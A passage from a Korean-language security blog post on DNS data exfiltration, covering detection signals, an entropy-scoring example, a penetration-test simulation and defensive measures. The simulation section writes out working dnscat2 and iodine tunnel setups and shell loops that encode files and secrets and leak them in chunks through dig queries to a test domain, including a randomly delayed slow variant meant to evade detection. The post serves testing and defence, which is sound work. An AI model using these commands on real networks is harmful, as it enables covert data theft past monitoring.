  • 서브도메인 수와 길이
  • 쿼리 타이밍 패턴
  • 도메인 레퍼러(referrer) 분석
  • 응답 크기 및 유형

다음은 Python으로 구현한 간단한 DNS 엔트로피 계산 예제입니다:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

import math
import collections

def calculate_entropy(domain):
    """도메인 이름의 엔트로피 계산"""
    chars = collections.Counter(domain)
    length = len(domain)
    entropy = 0
    
    for count in chars.values():
        probability = count / length
        entropy -= probability * math.log2(probability)
    
    return entropy

# 예시: 정상 도메인 vs 의심스러운 도메인
normal_domain = "www.example.com"
suspicious_domain = "a1b2c3d4e5f6g7h8i9.attacker.com"

print(f"Normal domain entropy: {calculate_entropy(normal_domain)}")
print(f"Suspicious domain entropy: {calculate_entropy(suspicious_domain)}")

5. DNS 유출 탐지 시 문제점 및 한계

  • 대량의 DNS 트래픽: 기업 네트워크에서는 하루에 수백만 건의 DNS 쿼리가 발생
  • 오탐(False Positives): 일부 정상적인 CDN, 클라우드 서비스도 유사한 패턴 생성
  • 낮은 대역폭 유출: 데이터를 매우 느린 속도로 장기간에 걸쳐 유출할 경우 탐지 어려움
  • 지능적 회피 기법: 공격자는 쿼리 간 시간 지연, 정상 트래픽과 유사한 패턴 생성으로 탐지 회피 가능

6. 침투 테스트에서의 DNS 유출 시뮬레이션

보안 평가 과정에서 DNS 데이터 유출 시뮬레이션을 위한 단계:

  1. 테스트 도구 설정:
    1
2

    # dnscat2를 이용한 DNS 터널링 테스트
./dnscat2 --domain yourtestdomain.com --no-cache

    dnscat2 주요 옵션 설명:

    • --domain yourtestdomain.com: 테스트에 사용할 DNS 도메인 지정. 이 도메인은 침투 테스터가 제어하는 권한 있는 네임서버로 설정되어 있어야 함
    • --no-cache: DNS 캐싱을 비활성화하여 모든 쿼리가 실제로 네트워크를 통해 전송되도록 함
    • 추가 유용한 옵션들:
      • --dns <server>: 사용할 DNS 서버 지정
      • --secret <key>: 통신 암호화를 위한 사전 공유 키 설정
      • --delay <ms>: 쿼리 간 지연 설정 (밀리초 단위)
      • --max-retransmits <n>: 재전송 최대 횟수 제한
    1
2

    # iodine을 이용한 테스트
./iodined -f -c -P password 10.0.0.1 test.yourdomain.com

    iodine 서버(iodined) 주요 옵션 설명:

    • -f: 포그라운드 모드로 실행 (디버깅 용이)
    • -c: 클라이언트 IP 주소 검사 비활성화
    • -P password: 클라이언트 인증용 비밀번호 설정
    • 10.0.0.1: 터널 내부에서 서버의 IP 주소 (가상 터널 인터페이스에 할당)
    • test.yourdomain.com: 테스트에 사용할 DNS 도메인
    • 추가 유용한 옵션들:
      • -D: 디버그 메시지 활성화
      • -m <mtu>: 최대 전송 단위(MTU) 설정
      • -t <ttl>: DNS 레코드의 TTL 값 설정
      • -l <ip>: 특정 IP 주소에 바인딩

    클라이언트 측 iodine 설정:

    1
2

    # iodine 클라이언트 설정
./iodine -f -P password test.yourdomain.com

    iodine 클라이언트 주요 옵션:

    • -f: 포그라운드 모드로 실행
    • -P password: 서버 인증용 비밀번호 (서버와 동일해야 함)
    • 추가 유용한 옵션들:
      • -r <ip>: 사용할 DNS 리졸버 지정
      • -d <tun>: 사용할 tun 장치 이름 지정
      • -T <type>: 사용할 DNS 레코드 타입 지정 (NULL, TXT, SRV, MX, CNAME, A)
      • -O <opcode>: DNS 메시지 opcode 지정 (QUERY, IQUERY, STATUS)
  2. 테스트 시나리오:
    • 데이터 크기별 테스트:
      1
2
3
4
5
6
7
8
9
10
11
12

      # 소량 데이터 유출 테스트 (단일 레코드)
echo "confidential_small" | base64 | tr -d '\n' > /tmp/small.b64
cat /tmp/small.b64 | while read line; do dig $(echo $line).test.yourdomain.com; done
     
# 중간 크기 데이터 유출 테스트 (10KB 파일)
dd if=/dev/urandom of=/tmp/medium_file bs=1024 count=10
base64 /tmp/medium_file | fold -w 30 | nl | \
while read n line; do dig $n.$line.test.yourdomain.com; sleep 0.5; done
     
# 대용량 데이터 유출 테스트 (1MB 이미지 파일)
cat /tmp/large_image.jpg | base64 | split -b 30 - chunk_
for f in chunk_*; do dig $(cat $f).test.yourdomain.com @internal_dns; sleep 0.8; done
    • 전송 속도 테스트:
      1
2
3
4
5
6
7
8

      # 고속 전송 테스트 (가능한 빠른 속도로)
for i in $(seq 1 500); do dig $i.fastexfil.test.yourdomain.com & done
     
# 은닉 저속 전송 테스트 (불규칙한 간격, 평균 30초)
cat /tmp/secret_data.b64 | while read line; do 
  dig $(echo $line).slowexfil.test.yourdomain.com;
  sleep $(awk 'BEGIN {print 15 + rand() * 30}');
done
    • 다양한 인코딩 기법 테스트:
      1
2
3
4
5
6
7
8
9
10
11
12
13
14

      # Base64 인코딩 테스트
echo "secret_data" | base64 | tr -d '\n' > /tmp/b64.txt
cat /tmp/b64.txt | dig $(cat -).b64.test.yourdomain.com
     
# Hex 인코딩 테스트
echo "secret_data" | xxd -p | tr -d '\n' > /tmp/hex.txt
cat /tmp/hex.txt | dig $(cat -).hex.test.yourdomain.com
     
# 분할 인코딩 테스트 (청크 지표 포함)
SECRET="LongSecretMessage123"
for i in $(seq 0 3 ${#SECRET}); do
  chunk="${SECRET:$i:3}"
  dig $i.$chunk.split.test.yourdomain.com
done
  3. 탐지 시스템 검증:
    • 기존 보안 솔루션 테스트:
      1
2
3
4
5
6
7
8
9
10

      # 로그 분석 명령어 (테스트 후 탐지 여부 확인)
# Zeek/Bro 로그 검사
grep -i "yourtestdomain.com" /var/log/bro/current/dns.log | wc -l
     
# Suricata 알림 확인
grep -i "DNS" /var/log/suricata/eve.json | grep "yourtestdomain.com" | jq .
     
# BIND DNS 서버 로그 검사
grep -i "yourtestdomain.com" /var/log/named/queries.log | \
awk '{print $1, $5}' | sort | uniq -c | sort -nr
    • 탐지 성능 측정:
      1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

      # 데이터 유출량과 탐지율 계산 스크립트
#!/bin/bash
START_TIME=$(date +%s)
TOTAL_BYTES=1048576  # 1MB
CHUNK_SIZE=30
CHUNKS=$((TOTAL_BYTES / CHUNK_SIZE))
     
# 유출 시작
for i in $(seq 1 $CHUNKS); do
  dig $i.$(openssl rand -hex 15).exfil.yourtestdomain.com &> /dev/null
  if [ $((i % 100)) -eq 0 ]; then
    # 매 100회 요청마다 탐지 시스템 확인
    ALERTS=$(grep -c "yourtestdomain.com" /var/log/security_alerts.log)
    echo "전송된 데이터: $((i * CHUNK_SIZE)) bytes, 탐지된 알림: $ALERTS"
  fi
  sleep 0.05
done
     
END_TIME=$(date +%s)
DURATION=$((END_TIME - START_TIME))
echo "총 소요시간: ${DURATION}초, 평균 전송 속도: $(($TOTAL_BYTES / $DURATION)) bytes/sec"
echo "총 유출 시도: $CHUNKS 건, 탐지된 총 알림: $(grep -c "yourtestdomain.com" /var/log/security_alerts.log)"
    • 탐지 임계값 조정을 위한 권장사항 도출:
      1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

      # 분석 결과 템플릿 예시
     
## DNS 유출 탐지 성능 평가 보고서
     
1. 테스트 환경:
   - 네트워크: 내부 기업망 (10.0.0.0/8)
   - 탐지 시스템: Suricata 6.0.1, Zeek 4.0.3, DNS RPZ
   - 테스트 기간: 2023-04-15 13:00 ~ 16:30
     
2. 테스트 결과 요약:
   - 소량 데이터(5KB): 탐지율 12%, 평균 탐지 시간 >30분
   - 중간 크기(100KB): 탐지율 67%, 평균 탐지 시간 8분
   - 대용량(1MB+): 탐지율 98%, 평균 탐지 시간 45초
     
3. 권장 임계값 조정:
   - DNS 쿼리 빈도: >20 쿼리/분/호스트 (현재 50 쿼리/분)
   - 서브도메인 엔트로피: >4.2 (현재 4.8)
   - 비정상 TLD 요청: 모니터링 추가
   - 최대 도메인 길이: >65자 (현재 제한 없음)
        
4. 우회 가능 설정:
   - 현재 단일 레코드 타입(A) 모니터링만 수행
   - DNS-over-HTTPS 트래픽 검사 기능 부재
   - 도메인당 쿼리 비율 모니터링 미수행

DNS 데이터 유출 방어 전략

1. DNS 필터링 및 모니터링

  • DNS 방화벽 구현: 알려진 악성 도메인 차단
  • DNS RPZ(Response Policy Zone) 설정: 의심스러운 도메인 응답 수정
  • 네트워크 이상 탐지 시스템(NIDS) 배포: DNS 트래픽 실시간 분석

2. DNS 구성 강화

  • DNS over HTTPS(DoH) 또는 DNS over TLS(DoT) 사용 제한: 암호화된 DNS 트래픽 제어
  • Recursive DNS 서버 잠금: 승인된 DNS 서버만 사용하도록 설정
  • DNSSEC 구현: DNS 응답 무결성 보장

3. 네트워크 세분화 및 정책

  • DNS 쿼리 제한: 내부 시스템의 외부 DNS 서버 직접 쿼리 차단
  • DNS 프록시 서버 구축: 모든 DNS 트래픽을 중앙화된 프록시 서버로 라우팅
  • 출발지/목적지 기반 필터링: 특정 시스템의 DNS 요청 제한

4. 고급 방어 기법

  • DNS 쿼리 속도 제한: 단일 호스트에서 발생하는 과도한 DNS 쿼리 제한
  • 페이로드 검사: DNS 패킷 내용 심층 분석
  • 행동 기반 분석: 사용자/시스템별 DNS 사용 패턴 기준선 설정 및 편차 탐지

다음은 Linux 환경에서 DNS 쿼리 속도 제한을 구현하는 iptables 규칙 예시입니다:

1
2
3
4
5
6
7

# UDP DNS 쿼리 속도 제한 (초당 10개 쿼리로 제한)
iptables -A OUTPUT -p udp --dport 53 -m state --state NEW -m limit --limit 10/second --limit-burst 20 -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -m state --state NEW -j DROP

# TCP DNS 쿼리 속도 제한
iptables -A OUTPUT -p tcp --dport 53 -m state --state NEW -m limit --limit 10/second --limit-burst 20 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 53 -m state --state NEW -j DROP

5. 소스 추적 가능성 강화

DNS 데이터 유출이 발생했을 경우 출처 추적을 위한 방법:

  • DNS 로그 중앙화: 모든 DNS 서버 로그를 중앙 SIEM으로 수집
  • 소스 IP 보존: NAT 환경에서도 원본 요청 IP 정보 유지
  • DNS 쿼리 감사 추적: 각 DNS 쿼리의 전체 경로 기록
  • 상세 로깅 활성화:
    1
2
3
4
5
6
7
8
9
10
11

    # BIND DNS 서버 상세 로깅 설정 예시
logging {
    channel detailed_log {
        file "/var/log/named/query.log" versions 10 size 100m;
        severity debug;
        print-time yes;
        print-severity yes;
        print-category yes;
    };
    category queries { detailed_log; };
};

6. 방어의 현실적 도전과제

효과적인 DNS 데이터 유출 방어 시 고려해야 할 현실적 도전과제:

  • 성능과 보안의 균형: 과도한 필터링은 네트워크 성능 저하 초래
  • 오탐(False Positives): 정상 비즈니스 트래픽 차단 위험
  • 암호화된 DNS 트래픽: DoH/DoT 사용 시 콘텐츠 검사 어려움
  • 패치 관리: DNS 소프트웨어의 보안 업데이트 유지 필요
  • 다층 방어 필요성: 단일 보안 솔루션으로는 충분한 보호 불가능

참고 도구

탐지 도구

  • DNSlog: DNS 쿼리 로깅 및 분석
  • Zeek(이전 Bro): 네트워크 트래픽 모니터링
  • Suricata: DNS 트래픽 탐지 규칙 지원
  • Splunk DNS Analysis App: DNS 로그 분석 및 시각화

테스트 및 연구 도구

  • dnscat2: DNS 터널링 테스트 도구
  • iodine: DNS 터널 구현 도구
  • dns2tcp: DNS를 TCP 전송으로 변환하는 도구
  • DNSChef: DNS 프록시 및 스푸핑 도구

참고 자료

Cybersecurity, Network Security
DNS-Data-Exfiltration
This post is licensed under CC BY 4.0 by the author.